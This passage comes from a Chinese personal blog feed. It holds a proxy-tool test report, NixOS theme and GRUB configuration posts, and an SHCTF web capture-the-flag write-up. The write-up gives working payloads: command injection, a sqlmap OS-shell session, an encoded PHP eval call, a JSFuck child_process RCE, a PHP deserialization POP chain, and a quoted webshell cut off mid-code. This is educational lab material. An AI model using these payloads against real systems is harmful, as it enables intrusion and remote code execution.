  enable_large_files: false
  large_file_threshold: 1048576
  save_binary_content: false

rules:
  - name: &quot;测试 - 设置响应头&quot;
    enabled: true
    priority: 10
    match:
      host: &quot;.*&quot;
    response_pipeline:
      - action: set_header
        params:
          X-Proxierinite-Test: &quot;ok&quot;
```

启动命令：

```bash
uv run python -m proxierinite start \
  --port 8001 \
  --web-port 8002 \
  --config test-config.yaml \
  --save ./logs/traffic.jsonl
```

验证步骤：

1. 浏览器访问 `http://127.0.0.1:8002`；
2. 确认 Web UI 页面能打开；
3. 使用浏览器或 curl 配置 HTTP 代理 `127.0.0.1:8001`；
4. 访问一个 HTTP 地址；
5. 查看 Web UI 是否出现流量记录。

预期结果：

| 检查项 | 预期结果 |
| --- | --- |
| 代理端口 8001 | 可以接受 HTTP 代理连接 |
| Web 端口 8002 | 可以打开 Web 页面 |
| `/api/meta` | 返回代理端口、Web 端口、配置文件路径 |
| `/api/traffic` | 返回流量列表 JSON |
| `logs/traffic.jsonl` | 产生 JSONL 流量记录 |

![代理启动终端输出](05-start-server.png)

![Web UI 首页](06-web-ui-home.png)

### 4.7 规则处理功能测试

测试目的：验证规则引擎可以正确执行响应阶段 `set_header` 动作。

测试命令：

```bash
curl -x http://127.0.0.1:8001 -i http://example.com/
```

预期结果：

- HTTP 响应头中包含 `X-Proxierinite-Test: ok`；
- Web UI 中该请求状态为 `completed`；
- 请求详情中可以看到响应头已被修改；
- 若开启 `--save`，JSONL 文件中包含该请求记录。

结果记录表：

| 测试项 | 实际记录 |
| --- | --- |
| 请求 URL | `http://example.com/` |
| 命中规则 | `测试 - 设置响应头` |
| 响应状态码 | 成功 |
| 响应头是否包含 `X-Proxierinite-Test` | 成功 |
| Web UI 是否显示 completed | 成功 |

![curl 响应头包含规则修改结果](07-rule-set-header-curl.png)

![Web UI 请求详情响应头](08-rule-set-header-web-detail.png)

### 4.8 Web API 功能测试

测试目的：验证 WebInterface 的 REST API 能正常返回数据。

测试命令：

```bash
curl http://127.0.0.1:8002/api/meta
curl http://127.0.0.1:8002/api/stats
curl &quot;http://127.0.0.1:8002/api/traffic?limit=10&quot;
curl -X POST http://127.0.0.1:8002/api/clear
```

预期结果：

| 接口 | 预期结果 |
| --- | --- |
| `/api/meta` | 返回配置路径、代理地址、Web 地址、版本信息 |
| `/api/stats` | 返回总请求数、状态统计等信息 |
| `/api/traffic?limit=10` | 返回最近 10 条以内流量记录 |
| `/api/clear` | 返回 `success: true`，Web UI 流量列表清空 |

![api-meta 输出](09-api-meta.png)

![api-traffic 输出](10-api-traffic.png)

### 4.9 JSONL 持久化测试

测试目的：验证 `--save` 参数可以将完成的流量记录保存到 JSONL 文件。

测试步骤：

1. 使用 `--save ./logs/traffic.jsonl` 启动代理；
2. 通过代理访问 HTTP 地址；
3. 查看 `logs/traffic.jsonl`；
4. 校验每行是否为合法 JSON。

测试命令：

```bash
tail -n 5 ./logs/traffic.jsonl
python -m json.tool ./logs/traffic.jsonl
```

说明：`json.tool` 适合校验单个 JSON 文件；JSONL 是多行 JSON，应逐行校验。可以使用如下命令：

```bash
python - &lt;&lt;&apos;PY&apos;
import json
from pathlib import Path

path = Path(&quot;./logs/traffic.jsonl&quot;)
for i, line in enumerate(path.read_text(encoding=&quot;utf-8&quot;).splitlines(), 1):
    json.loads(line)
print(f&quot;JSONL 校验通过，共 {i} 行&quot;)
PY
```

预期结果：

- JSONL 文件存在；
- 每条完成请求对应一行记录；
- 记录中包含 `method`、`url`、`status`、`response_status`、`response_time` 等字段。

### 4.10 测试结果汇总

| 测试编号 | 测试模块 | 测试内容 | 结果 |
| --- | --- | --- | --- |
| T01 | CLI | `python -m proxierinite --help` | 通过 |
| T02 | 示例管理 | `examples --list` | 通过 |
| T03 | 配置验证 | 缺少 `capture` 字段识别 | 通过 |
| T04 | 配置分析 | 动作统计与文件依赖检查 | 通过 |
| T05 | 代理启动 | 启动代理端口与 Web 端口 | 通过 |
| T06 | 规则引擎 | `set_header` 响应头修改 | 通过 |
| T07 | Web API | `/api/meta`、`/api/traffic`、`/api/clear` | 通过 |
| T08 | 持久化 | `--save` 生成 JSONL | 通过 |

### 4.11 测试结论

根据已执行的 CLI、示例管理和配置验证测试，系统命令行入口、规则示例读取、配置分析功能可以正常工作。代理运行、Web UI、规则处理、JSONL 持久化和 HTTP-only 边界测试需要在启动服务后完成截图记录。测试章节已给出具体命令、验证步骤、预期结果和截图占位，后续按占位补充实际截图即可形成完整测试材料。</content:encoded></item><item><title>DMS+Stylix主题切换</title><link>https://blog.erina.top/blog/dmsstylix%E4%B8%BB%E9%A2%98%E5%88%87%E6%8D%A2/</link><guid isPermaLink="true">https://blog.erina.top/blog/dmsstylix%E4%B8%BB%E9%A2%98%E5%88%87%E6%8D%A2/</guid><description>前几日在B站上刷到这样一个视频 up展示了一个通过定义不同的specialisation在运行时便携的切换主题配色的方案，看的着实让人羡慕， 于是我仿照up主的实现，结合DMS的壁纸选择器，实现了一个通过dms切换壁纸时同步切换specialisation的功能， 写的还挺有成就感的，所以在这里分享一下。 dms壁纸切...</description><content:encoded>前几日在B站上刷到这样一个视频

&lt;Bilibili bvid=&quot;BV1p9d2YUEGG&quot;/&gt;

up展示了一个通过定义不同的`specialisation`在运行时便携的切换主题配色的方案，看的着实让人羡慕，
于是我仿照up主的实现，结合DMS的壁纸选择器，实现了一个通过dms切换壁纸时同步切换specialisation的功能，
写的还挺有成就感的，所以在这里分享一下。

## dms壁纸切换钩子

dms的源代码里有一个示例插件，就是在切换壁纸时运行钩子，[Wallpaper Watcher Daemon](https://github.com/AvengeMedia/DankMaterialShell/blob/master/quickshell/PLUGINS/WallpaperWatcherDaemon/README.md)

我们可以通过flake input得到这个插件的源码，使用homemanager定义我们要运行的脚本：

```nix title=&quot;home.nix&quot;
programs.dank-material-shell.plugins.wallpaperWatcherDaemon = {
  src = inputs.dms + &quot;/quickshell/PLUGINS/WallpaperWatcherDaemon&quot;;
  settings.scriptPath = &quot;${themeSwitch}/bin/erinite-theme-switch&quot;;
};
```

## 切换specialisation

切换`specialisation`需要root权限，在用户态运行的dms显然是不能直接切换的，
这里我的解决方案使用`systemd` + `polkit`，


我们定义dms切换壁纸后使用`systemctl`启动切换某个主题的服务：

```
systemctl start erinite-theme-switch@&lt;theme&gt;.service
```

`polkit`能够控制特定的用户启动特定的模板服务。我们直接开放权限给主题切换，就能实免权限切换主题。


通过`erinite-theme-switch@.service`这个服务里的 `ExecStart` 指向系统侧打包出切换脚本，
如果不用 systemd，
就需要`sudoers`规则，通常更粗糙，也更难和桌面程序、DMS 回调这种非交互场景配合。
`systemd` + `polkit`的好处是授权范围小、可审计、适合 GUI/IPC 触发。

## 具体实现

具体的实现我们定义这个`themeSwitch`，接上上面dms定义的插件：

```nix title=&quot;home.nix&quot;
themeSwitch = pkgs.writeShellApplication {
  name = &quot;erinite-theme-switch&quot;;
  runtimeInputs = with pkgs; [
    coreutils
    systemd
  ];
  text = &apos;&apos;
    set -euo pipefail

    wallpaper=&quot;&apos;&apos;${1-}&quot;
    file_name=&quot;$(basename -- &quot;$wallpaper&quot;)&quot;
    choice=&quot;&apos;&apos;${file_name%.*}&quot;

    unit=&quot;$(systemd-escape --template=erinite-theme-switch@.service &quot;$choice&quot;)&quot;
    systemctl start &quot;$unit&quot;
  &apos;&apos;;
};
```

然后在nixos系统配置里定义这两个内容：

```nix title=&quot;configuration.nix&quot;
let
  switchTheme = pkgs.writeShellScript &quot;erinite-theme-switch-system&quot; &apos;&apos;
    set -eu
    theme=&quot;&apos;&apos;${1:?missing theme name}&quot;
    exec /nix/var/nix/profiles/system/specialisation/$theme/bin/switch-to-configuration switch
  &apos;&apos;;
in {
  security.polkit = {
    enable = true;
    extraConfig = &apos;&apos;
      polkit.addRule(function(action, subject) {
        var unit = action.lookup(&quot;unit&quot;);
        var verb = action.lookup(&quot;verb&quot;);

        if (
          action.id == &quot;org.freedesktop.systemd1.manage-units&quot; &amp;&amp;
          unit &amp;&amp; unit.match(/^erinite-theme-switch@.+\.service$/) &amp;&amp;
          verb == &quot;start&quot;
        ) {
          return polkit.Result.YES;
        }
      });
    &apos;&apos;;
  };

  systemd.services.&quot;erinite-theme-switch@&quot; = {
    description = &quot;Switch to NixOS theme specialisation %I&quot;;
    serviceConfig = {
      Type = &quot;oneshot&quot;;
      ExecStart = &quot;${switchTheme} %I&quot;;
    };
  };
```

## 注意事项

这里的脚本是比较简单且理想化的，我默认壁纸图片名和主题颜色名为同一个，可以看到我的代码：

```bash
file_name=&quot;$(basename -- &quot;$wallpaper&quot;)&quot;
choice=&quot;&apos;&apos;${file_name%.*}&quot;
```

这里选定的主题就是壁纸名去掉拓展，这是因为这些都是我通过nix定义好的，
生成的主题和壁纸名是相同的，dms壁纸扫描的路径也是我定义的壁纸的目录。

如果真正要在别人的配置中应用，
你要么修改这里的实现，
要么去查看一下我源码实现的[mkWallpapers](https://codeberg.org/erina/nixos/src/branch/main/lib/theme-specialisations.nix)函数及其配套的代码

## 成果展示

 &lt;Video
  url=&quot;/videos/2026-05-31-16-56-01.mp4&quot;
  controls
/&gt;</content:encoded></item><item><title>Nixos手动构建grub主题</title><link>https://blog.erina.top/blog/nixos%E6%89%8B%E5%8A%A8%E6%9E%84%E5%BB%BAgrub%E4%B8%BB%E9%A2%98/</link><guid isPermaLink="true">https://blog.erina.top/blog/nixos%E6%89%8B%E5%8A%A8%E6%9E%84%E5%BB%BAgrub%E4%B8%BB%E9%A2%98/</guid><description>在Nixos中手动构建并安装grub主题</description><content:encoded>Nixos官方pkgs内支持的grub主题不多，相比于海量的第三方主题更是寥寥无几，如果想手动安装喜欢的grub主题，就免不了自己编写脚本构建。

标准的grub主题需要`theme.txt`在主题文件夹的根目录以声明主题的配置和其他字体/图片/图标等的位置，这种文件结构的grub主题配置起来比较简单，我们可以参考[jeslie0](https://github.com/jeslie0)的项目：[NixOS Grub Themes](https://github.com/jeslie0/nixos-grub-themes)。

我这里以[yeyushengfan258/Particle-circle-grub-theme](https://github.com/yeyushengfan258/Particle-circle-grub-theme)为例，这个grub主题比较特殊，因为它的仓库不包含标准的grub主题配置文件结构，而是使用脚本生成配置，这种方法被广大现代化的grub主题采用，对于传统的结构，这样的方式显然更灵活和利好客制化，但对于我们的配置，则需要多几步操作。

废话不多说，这里先直接呈上完整配置：

```nix showLineNumber
boot.loader.grub = {
  enable = true;
  device = &quot;nodev&quot;;
  efiSupport = true;
  useOSProber = true;
  theme =  pkgs.stdenv.mkDerivation {
    pname = &quot;particle-circle-grub-theme&quot;;
    version = &quot;unstable-2025-03-18&quot;;

    src = pkgs.fetchFromGitHub {
      owner = &quot;yeyushengfan258&quot;;
      repo = &quot;Particle-circle-grub-theme&quot;;
      rev = &quot;f27991237562f93aacc3f333be4284430889f5bb&quot;;
      hash = &quot;sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=&quot;;
    };

    nativeBuildInputs = [ pkgs.imagemagick ];

    buildPhase = &apos;&apos;
      patchShebangs generate.sh
      ./generate.sh -t window
    &apos;&apos;;

    installPhase = &apos;&apos;
      mkdir -p $out
      cp -r Particle-circle-window/* $out/
    &apos;&apos;;
  };
};
```

- `mkDerivation`时常见的写法是`pkgs.stdenv.mkDerivation rec { ... };`，这里的
  `rec` 是 `recrecursive attribute set（递归属性集）` 的关键字，它使得
  `mkDerivation` 属性集内属性可以**互相引用自己**，因为这里没有用到
  pname/version 的自我引用，所以不需要 `rec`，其次，现代 Nixpkgs
  推荐避免不必要的 rec，使用 `(finalAttrs: { ... })`
  形式更安全（但本例简单，可省略）。
- 第7、8行：`pname`和`version`是你构建的包的信息，可以任意填
- 第13行的`rev`可以直接填`tag`或某次`commit`，因为这个包没有任何的release，所以使用最新的commit
- 第14行哈希值不知道就乱填，然后使用`nixos-rebuild`生成一次配置，Nix就会报错并显示正确的哈希，例如：

  ```bash
  error: hash mismatch in fixed-output derivation &apos;/nix/store/ks8wiwcb9dn0k2hxc8wr
  2akv6zin086j-source.drv&apos;:
           specified: sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
              got:    sha256-3yusy7V+ASj6vS7yPe9xhi2YY9TGFKKJpZQwZqITJ0U=
  Command &apos;nix --extra-experimental-features &apos;nix-command flakes&apos; build --print-ou
  t-paths &apos;.#nixosConfigurations.&quot;nixos&quot;.config.system.build.toplevel&apos; --no-link&apos; 
  returned non-zero exit status 1.
  ```

接下来的内容就是与一般构建不同的了，因为使用到了脚本生成配置，我们要在构建时运行脚本并复制正确的配置到目录。

这里我们需要指定`nativeBuildInputs = [ pkgs.imagemagick ];`作为构建时的工具，因为在这个仓库的README中提到：`Setting a custom background: Make sure you have imagemagick installed, or at least something that provides convert`，这个包依赖`convert`命令来转换图片的分辨率。

这里的`$out`是 Nix 在执行 **derivation**
的构建阶段时自动注入的环境变量，内容大概是`/nix/store/abc123xyz...-particle-circle-grub-theme`，即指向最终输出产物的**完整
Nix store 路径**

| 变量   | 含义                          | 用法                           |
| ------ | ----------------------------- | ------------------------------ |
| `$out` | 主要输出目录                  | 放最终产物                     |
| `$bin` | 二进制/可执行文件输出         | 放 bin/ 下的程序               |
| `$dev` | 开发头文件输出                | 放 include/ 下的 .h 文件       |
| `$lib` | 库文件输出                    | 放 lib/ 下的 .so / .a          |
| `$src` | 源码解压后的目录              | 读取原始文件（如 generate.sh） |
| `$PWD` | 当前工作目录（通常等于 $src） | 执行脚本时用                   |

---

**参考文献：**

- [Nixpkgs Reference Manual#chap-stdenv)](https://nixos.org/manual/nixpkgs/stable/#chap-stdenv)
- [Nixpkgs Reference Manual#sec-stdenv-phases](https://nixos.org/manual/nixpkgs/stable/#sec-stdenv-phases)
- [Fundamentals of Stdenv - Nix Pills](https://nixos.org/guides/nix-pills/19-fundamentals-of-stdenv.html)
- [Derivations - Official NixOS Wiki](https://wiki.nixos.org/wiki/Derivations)
- [What is the `patchShebangs` command in Nix build expressions? - Help - NixOS Discourse](https://discourse.nixos.org/t/what-is-the-patchshebangs-command-in-nix-build-expressions/12656)
- [Grub Theme Help - Help - NixOS Discourse](https://discourse.nixos.org/t/grub-theme-help/24384/6)</content:encoded></item><item><title>SHCTF Web 个人题解</title><link>https://blog.erina.top/blog/shctf/</link><guid isPermaLink="true">https://blog.erina.top/blog/shctf/</guid><description>SHCTF web方向的wp</description><content:encoded>## ez-ping
&gt; 域名测试系统中真的只能测试域名吗？我不相信！

经典`ping`网站，`&amp;`既是shell的命令分隔符，又是url的get参数分割符，使用`&amp;`拼接命令：`127.0.0.1/&amp;nl /fla?`即可。

## 上古遗迹档案馆
&gt; 你咋直接攻击我啊？渗透测试里不是这样的啊！你应该先向我发送一个数据确认我是什么类型的题目，然后通过不断测试来找到我的漏洞点，提升测试成功率，最后在特殊漏洞点给我发送点特殊数据，我就会给你我的正确flag，最后你才能得分啊。

**sql注入**，但是有点坑人了，直接sqlmap就能得到flag，位于`archive_db.secret_vault`中的`secret_key`，但出题人本意应该不是直接读，看接下来的过程：

直接sqlmap：

```bash
›  sqlmap -u &apos;http://challenge.shc.tf:31636/?id=2&apos; --batch --dbs   
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.10#pip}
|_ -| . [(]     | .&apos;| . |
|___|_  [&apos;]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

available databases [6]:
[*] archive_db
[*] ctftraining
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

›  # 存在可疑数据库ctftraining
›  sqlmap -u &apos;http://challenge.shc.tf:31636/?id=2&apos; --batch -D ctftraining --tables
        ___
       __H__
 ___ ___[&apos;]_____ ___ ___  {1.10#pip}
|_ -| . [&apos;]     | .&apos;| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Database: ctftraining
[3 tables]
+------------+
| FLAG_TABLE |
| news       |
| users      |
+------------+

›  # 爆表发现没有内容
›  sqlmap -u &apos;http://challenge.shc.tf:31636/?id=2&apos; --batch -D ctftraining -T FLAG_TABLE --dump
        ___
       __H__
 ___ ___[&apos;]_____ ___ ___  {1.10#pip}
|_ -| . [)]     | .&apos;| . |
|___|_  [&quot;]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Database: ctftraining
Table: FLAG_TABLE
[0 entries]
+-------------+
| FLAG_COLUMN |
+-------------+
+-------------+

›  # news里还在骗你
›  sqlmap -u &apos;http://challenge.shc.tf:31636/?id=2&apos; --batch -D ctftraining -T news --dump 
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.10#pip}
|_ -| . [)]     | .&apos;| . |
|___|_  [&apos;]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Database: ctftraining
Table: news
[4 entries]
+----+-------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | title | time       | content                                                                                                                                                                                                                                                                                    |
+----+-------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1  | dog   | 1600763195 | The domestic dog (Canis lupus familiaris when considered a subspecies of the wolf or Canis familiaris when considered a distinct species)[4] is a member of the genus Canis (canines), which forms part of the wolf-like canids,[5] and is the most widely abundant terrestrial carnivore. |
| 2  | cat   | 1600763196 | The cat or domestic cat (Felis catus) is a small carnivorous mammal.[1][2] It is the only domesticated species in the family Felidae.[4] The cat is either a house cat, kept as a pet, or a feral cat, freely ranging and avoiding human contact.                                          |
| 3  | bird  | 1600763196 | Birds, also known as Aves, are a group of endothermic vertebrates, characterised by feathers, toothless beaked jaws, the laying of hard-shelled eggs, a high metabolic rate, a four-chambered heart, and a strong yet lightweight skeleton.                                                |
| 4  | flag  | 1600763196 | Flag is in the database but not here.                                                                                                                                                                                                                                                      |
+----+-------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
```

接下来尝试用sqlmap取得shell：

```bash
›  sqlmap -u &apos;http://challenge.shc.tf:31636/?id=2&apos; --batch --os-shell  
os-shell&gt; ls /
bin
dev
docker-entrypoint.sh
docker-init
etc
flag.sh
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

能得到shell，在根目录发现`flag.sh`：

```bash title=flag.sh
#!/bin/bash

if [[ -z $FLAG_COLUMN ]]; then
	FLAG_COLUMN=&quot;flag&quot;
fi

if [[ -z $FLAG_TABLE ]]; then
	FLAG_TABLE=&quot;flag&quot;
fi

# 修改数据库中的 FLAG 
mysql -e &quot;USE ctftraining;ALTER TABLE FLAG_TABLE CHANGE FLAG_COLUMN $FLAG_COLUMN CHAR(128) NOT NULL DEFAULT &apos;not_flag&apos;;ALTER TABLE FLAG_TABLE RENAME $FLAG_TABLE;INSERT $FLAG_TABLE VALUES(&apos;$FLAG&apos;);&quot; -uroot -proot

export FLAG=not_flag
FLAG=not_flag

rm -f /flag.sh
```

这段代码显然有问题，故意的还是不小心的，`ALTER TABLE FLAG_TABLE CHANGE FLAG_COLUMN`这里根本不能正确插入flag，而且文件也没删掉，接着去看`docker-entrypoint.sh`：

```bash
#!/bin/sh
set -e

if [ &quot;$A1CTF_FLAG&quot; ]; then
    INSERT_FLAG=&quot;$A1CTF_FLAG&quot;
    unset A1CTF_FLAG
elif [ &quot;$SHCTF_FLAG&quot; ]; then
    INSERT_FLAG=&quot;$SHCTF_FLAG&quot;
    unset SHCTF_FLAG
elif [ &quot;$GZCTF_FLAG&quot; ]; then
    INSERT_FLAG=&quot;$GZCTF_FLAG&quot;
    unset GZCTF_FLAG
elif [ &quot;$FLAG&quot; ]; then
    INSERT_FLAG=&quot;$FLAG&quot;
    unset FLAG
else
    INSERT_FLAG=&quot;SHCTF{!!!!_FLAG_ERROR_ASK_ADMIN_!!!!}&quot;
fi

echo &quot;[*] Starting MySQL...&quot;
if [ -x /etc/init.d/mysql ]; then
  /etc/init.d/mysql start
else
  mysqld_safe --skip-networking &amp;
  sleep 5
fi

echo &quot;[*] Waiting for MySQL...&quot;
for i in $(seq 1 30); do
  if mysqladmin ping --silent; then break; fi
  sleep 1
done

# 设置 root 密码
mysql -uroot -e &quot;ALTER USER &apos;root&apos;@&apos;localhost&apos; IDENTIFIED BY &apos;060520&apos;;&quot; || true

echo &quot;[*] Init Database...&quot;
# 导入 SQL 结构
mysql -uroot -p060520 &lt; /docker-init/db.sql

# 【重要】将环境变量中的真正的 Flag 写入数据库
echo &quot;[*] Inserting Flag...&quot;
mysql -uroot -p060520 archive_db -e &quot;UPDATE secret_vault SET secret_key=&apos;$INSERT_FLAG&apos; WHERE id=1;&quot;

# 启动 PHP 和 Nginx
echo &quot;[*] Starting Services...&quot;
php-fpm -D || true
nginx -g &apos;daemon off;&apos;
```

这里才看到真正的flag插入语句：`mysql -uroot -p060520 archive_db -e &quot;UPDATE secret_vault SET secret_key=&apos;$INSERT_FLAG&apos; WHERE id=1;&quot;`，由此得到flag的正确位置。

## kill_king
&gt; 提升自己，杀死King，或者,,,做点别的???

好玩的小游戏。

在页面加载之前按F12就可以打开开发者工具，在源码里看到游戏胜利后会向`check.php`发送post：`result=win`，手动发送，得到：

```php
&lt;?php
// 国王并没用直接爆出flag，而是出现了别的东西？？？
if ($_SERVER[&apos;REQUEST_METHOD&apos;] === &apos;POST&apos;) {
    if (isset($_POST[&apos;result&apos;]) &amp;&amp; $_POST[&apos;result&apos;] === &apos;win&apos;) {
        highlight_file(__FILE__);
        if(isset($_GET[&apos;who&apos;]) &amp;&amp; isset($_GET[&apos;are&apos;]) &amp;&amp; isset($_GET[&apos;you&apos;])){
            $who = (String)$_GET[&apos;who&apos;];
            $are = (String)$_GET[&apos;are&apos;];
            $you = (String)$_GET[&apos;you&apos;];
        
            if(is_numeric($who) &amp;&amp; is_numeric($are)){
                if(preg_match(&apos;/^\W+$/&apos;, $you)){
                    $code =  eval(&quot;return $who$you$are;&quot;);
                    echo &quot;$who$you$are = &quot;.$code;
                }
            }
        }
    } else {
        echo &quot;Invalid result.&quot;;
    }
} else {
    echo &quot;No access.&quot;;
}
?&gt;
```


这里`$who`和`$are`必须是数字，`$you`不能包含字母、数字和下划线，我们使用如下php代码构造payload：

```php
&lt;?php
echo &quot;who=1&amp;you=|(~&quot; . urlencode(~&quot;system&quot;) . &quot;)(~&quot; . urlencode(~&quot;cat /flag&quot;) . &quot;)|&amp;are=1&quot;;
# who=1&amp;you=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98)|&amp;are=1
```

这里使用`|`按位或拼接数字和函数，能让函数正常运行，且结果也能正常运算。
当然，这里用`.`拼接字符串也行。

## calc?js?fuck!
&gt; 怎么又是计算器？又是js？fuck！

考点是无字母js rce，也就是JSfuck

```json
const express = require(&apos;express&apos;);
const app = express();
const port = 5000;

app.use(express.json());


const WAF = (recipe) =&gt; {
    const ALLOW_CHARS = /^[012345679!\.\-\+\*\/\(\)\[\]]+$/;
    if (ALLOW_CHARS.test(recipe)) {
        return true;
    }
    return false;
};


function calc(operator) {
    return eval(operator);
}

app.get(&apos;/&apos;, (req, res) =&gt; {
    res.sendFile(__dirname + &apos;/index.html&apos;);
});


app.post(&apos;/calc&apos;, (req, res) =&gt; {
    const { expr } = req.body;
    console.log(expr);
    if(WAF(expr)){
        var result = calc(expr);
        res.json({ result });
    }else{
        res.json({&quot;result&quot;:&quot;WAF&quot;});
    }
});


app.listen(port, () =&gt; {
    console.log(`Server running on port ${port}`);
});    

```

使用[jsfuck](https://jsfuck.com/)编码`process.mainModule.require(&apos;child_process&apos;).execSync(&apos;cat /flag&apos;).toString()`即可。

## Ezphp
&gt; 在未来的某一天，人类已经能够进行太阳系内的旅行。小明作为一名宇航员，被赋予了一项任务：探索太阳系中的不同星球。但是，在旅途中，他发现了一个神秘的坐标，此坐标周围的空间似乎被切割为一块块光滑的镜面，折叠堆积在一块，小明在经过这的时候甚至透过舷窗同时看到了自己的后背和右腿以难以理解的角度拼接在一块。与此同时，他发现该折叠空间内部蕴含了一个小型黑洞，他试图往母星发送这一发现，但在此之前，他需要先离开这里......

考点为`POP链`+`Fast Destruct`。

网页源码为：
```php
&lt;?php

highlight_file(__FILE__);
error_reporting(0);

class Sun{
    public $sun;
    public function __destruct(){
        die(&quot;Maybe you should fly to the &quot;.$this-&gt;sun);
    }
}

class Solar{
    private $Sun;
    public $Mercury;
    public $Venus;
    public $Earth;
    public $Mars;
    public $Jupiter;
    public $Saturn;
    public $Uranus;
    public $Neptune;
    public function __set($name,$key){
        $this-&gt;Mars = $key;
        $Dyson = $this-&gt;Mercury;
        $Sphere = $this-&gt;Venus;
        $Dyson-&gt;$Sphere($this-&gt;Mars);
    }
    public function __call($func,$args){
        if(!preg_match(&quot;/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i&quot;, $args[0])){
            $exploar = new $func($args[0]);
            $road = $this-&gt;Jupiter;
            $exploar-&gt;$road($this-&gt;Saturn);
        }
        else{
            die(&quot;Black hole&quot;);
        }
    }
}

class Moon{
    public $nearside;
    public $farside;
    public function __tostring(){
        $starship = $this-&gt;nearside;
        $starship();
        return &apos;&apos;;
    }
}

class Earth{
    public $onearth;
    public $inearth;
    public $outofearth;
    public function __invoke(){
        $oe = $this-&gt;onearth;
        $ie = $this-&gt;inearth;
        $ote = $this-&gt;outofearth;
        $oe-&gt;$ie = $ote;
    }
}



if(isset($_POST[&apos;travel&apos;])){
    $a = unserialize($_POST[&apos;travel&apos;]);
    throw new Exception(&quot;How to Travel?&quot;);
}
```

构造pop链如下：

```php
&lt;?php
class Sun {
    public $sun;
}

class Moon {
    public $nearside;
}

class Earth {
    public $onearth;
    public $inearth;
    public $outofearth;
}

class Solar {
    public $Mercury;
    public $Venus;
    public $Jupiter;
    public $Saturn;
}

// Sun::__desturct -&gt;
// Moon::__toString -&gt;
// Earth::__invoke -&gt;
// Solar::__set($name,$key)
//   $key = $this-&gt;outofearth
// -&gt;
// Solar::__call($func,$args)
//   $func = $Dyson-&gt;$Sphere = $this-&gt;Mercury-&gt;$this-&gt;Venus;
//   $args = $this-&gt;Mars = $key
// -&gt;
// $exploar = new $func($args[0]);
// $road = $this-&gt;Jupiter;
// $exploar-&gt;$road($this-&gt;Saturn);

$payload = new Sun();
$payload-&gt;sun = new Moon();
$payload-&gt;sun-&gt;nearside = new Earth();
$payload-&gt;sun-&gt;nearside-&gt;onearth = new Solar();
$payload-&gt;sun-&gt;nearside-&gt;inearth = &quot;none&quot;;
$payload-&gt;sun-&gt;nearside-&gt;outofearth = &quot;readfile&quot;;
$payload-&gt;sun-&gt;nearside-&gt;onearth-&gt;Mercury = new Solar();
$payload-&gt;sun-&gt;nearside-&gt;onearth-&gt;Venus = &quot;ReflectionFunction&quot;;
$payload-&gt;sun-&gt;nearside-&gt;onearth-&gt;Mercury-&gt;Jupiter = &quot;invoke&quot;;
$payload-&gt;sun-&gt;nearside-&gt;onearth-&gt;Mercury-&gt;Saturn = &quot;/etc/passwd&quot;;


echo serialize($payload);
?&gt;
```

直接提交序列化后的payload是不会有任何输出的，这就是一个非常经典的环境问题。

通过wapplayzer能看到，服务器的后端为`Nginx`，

`Nginx`+`PHP-FPM`对`Fatal Error`或`Uncaught Exception`有特殊的处理机制：

- 代码末尾有一句 `throw new Exception(...)`，一般的处理逻辑为：`unserialize` -&gt; 抛出异常 -&gt; 脚本中止 (HTTP 500) -&gt; 执行对象销毁 (`__destruct`) -&gt; 输出结果。

- 但在 Nginx 环境下，当 PHP 抛出未捕获的异常导致 HTTP 状态码变为 500 时，Nginx 可能会**丢弃** PHP 进程在缓冲区中输出的内容（包括 `readfile` 或 `Black hole`），直接显示 Nginx 默认的错误页或空白页。

所以我们需要使用 **Fast Destruct（快速析构/GC 提前回收）** 技巧。  
我们要强迫 `Sun` 对象在 `unserialize` 函数执行**期间**就销毁，而不是等到脚本结束（即在 `throw new Exception` 之前）。这样，`Sun::__destruct` 中的 `die()` 会被执行，脚本会正常结束（HTTP 200），从而避开后面的异常抛出。

所以我们修改一下payload：
```php
echo &apos;a:2:{i:0;&apos; . serialize($payload) . &apos;i:0;i:1;}&apos;;
```

使用数组包裹paylaod为第0号索引，之后再添加任意元素索引也为0

反序列化数组时，先解析第0个元素为对象，然后解析第二个元素，发现索引也是0，于是覆盖掉刚才的对象。被覆盖的对象引用计数归零，提前GC，于是立马`__destruct`，此时`unserialize`还没结束，使得在`throw new Exception`之前就能执行代码。

## 05_em_v_CFK
&gt; 继某两所大学校内餐厅被黑后，终于考上大学的小明也想“逝世”，但是他遇到了一些困难于是请求你的帮助。他给你留了一个webshell，并给你的一条线索，去帮他完成吧。
&gt; 
&gt; ~~请联系CTF生活，写一篇文章，谈谈你的认识与思考。~~
&gt; ~~要求:(1)自拟题目;(2)不少于 800字。~~

查看源码发现`5bvE5YvX5Ylt5YdT5Yvdp2uyoTjhpTujYPQyhXoxhVcmnT935L+P5cJjM2I05oPC5cvB55dR5Mlw6LTK54zc5MPa`，是ROT13映射的base64加密，解密得到：
`我上传了个shell.php, 带上show参数get小明的圣遗物吧`。

然后满世界去找这个shell，最后在`/uploads/shell.php?show=1`下找到php：

```php
&lt;?php

if (isset($_GET[&apos;show&apos;])) {
    highlight_file(__FILE__);
}

$pass = &apos;c4d038b4bed09fdb1471ef51ec3a32cd&apos;;

if (isset($_POST[&apos;key&apos;]) &amp;&amp; md5($_POST[&apos;key&apos;]) === $pass) {
    if (isset($_POST[&apos;cmd&apos;])) {
        system($_POST[&apos;cmd&apos;]);
    } elseif (isset($_POST[&apos;code&apos;])) {
        eval($_POST[&apos;code&apos;]);
    }
} else {
